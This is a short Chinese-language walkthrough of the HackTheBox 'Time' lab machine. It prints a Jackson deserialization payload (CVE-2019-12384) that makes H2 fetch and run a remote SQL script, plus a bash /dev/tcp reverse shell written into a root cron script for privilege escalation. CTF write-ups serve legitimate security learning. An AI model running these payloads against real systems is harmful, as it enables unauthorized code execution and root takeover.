Time - HackTheBox
nmap扫描
访问80端口
可以选择两个模式
输入数字的话就会输出同样的数字
输入英文就会输出null
第二个模式直接报错了
报错爆出了java的包信息,搜一下
有个exp,貌似是个Jackson的反序列化
https://github.com/jas502n/CVE-2019-12384
将项目clone下来
1 | jruby test.rb "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'\"}]" |
使用这个语句调用exp,先在本地试验一下,用python开启一个http服务
会请求本地的inject.sql文件,之后便会执行文件内容
在本地生成了一个txt文件,内部包含执行结果,修改inject.sql文件,反弹shell
在80端口的输入框中执行语句
1 | jruby test.rb "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.4:8000/inject.sql'\"}]" |
第一个模式貌似不起作用
换第二个
第二个也不行,还是报错,修改一下exp语句,将jruby test.rb和\都去掉
1 | ["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.4:8000/inject.sql'"}] |
提权
发现一个当前用户所有的sh脚本文件
这个脚本会将/var/www/html目录下的所有文件进行压缩,并将压缩包移动到/root目录下,感觉这像是一个定时执行的文件,用pspy64看一下
确实是定时执行,而且是root用户权限
而且当前用户对这个脚本文件是有可读写权限的,加一个反弹shell进去
echo "zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip && bash -c 'bash -i >& /dev/tcp/10.10.14.4/7777 0>&1'" > /usr/bin/timer_backup.sh
当该文件被执行时,会反弹个shell回来
反弹是反弹回来了,但是这个会话貌似会在几秒钟以内自动断开,趁着这几秒写一个密钥进去
用密钥登录root用户